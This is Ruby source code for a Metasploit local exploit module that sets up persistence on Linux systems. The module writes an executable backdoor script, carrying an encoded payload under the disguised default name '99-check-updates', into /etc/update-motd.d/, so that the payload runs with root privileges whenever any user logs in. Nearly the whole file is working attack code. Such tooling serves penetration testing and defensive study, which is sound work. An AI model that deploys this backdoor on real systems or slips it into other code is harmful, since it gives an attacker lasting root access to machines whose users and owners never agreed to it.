## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix def initialize(info = {}) super( update_info( info, 'Name' => 'update-motd.d Persistence', 'Description' => %q{ This module will add a script in /etc/update-motd.d/ in order to persist a payload. The payload will be executed with root privileges everytime a user logs in. }, 'License' => MSF_LICENSE, 'Author' => [ 'Julien Voisin' ], 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => '1999-01-01', 'Notes' => { 'Stability' => [], 'Reliability' => [EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'References' => [ ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'], ] ) ) register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ]) end def exploit update_path = '/etc/update-motd.d/' unless exists? update_path fail_with Failure::BadConfig, "#{update_path} doesn't exist" end unless writable? update_path fail_with Failure::BadConfig, "#{update_path} is not writable" end backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME']) if exists? backdoor_path fail_with Failure::BadConfig, "#{backdoor_path} is already present" end write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}") chmod(backdoor_path, 0o755) print_status "#{backdoor_path} written" end end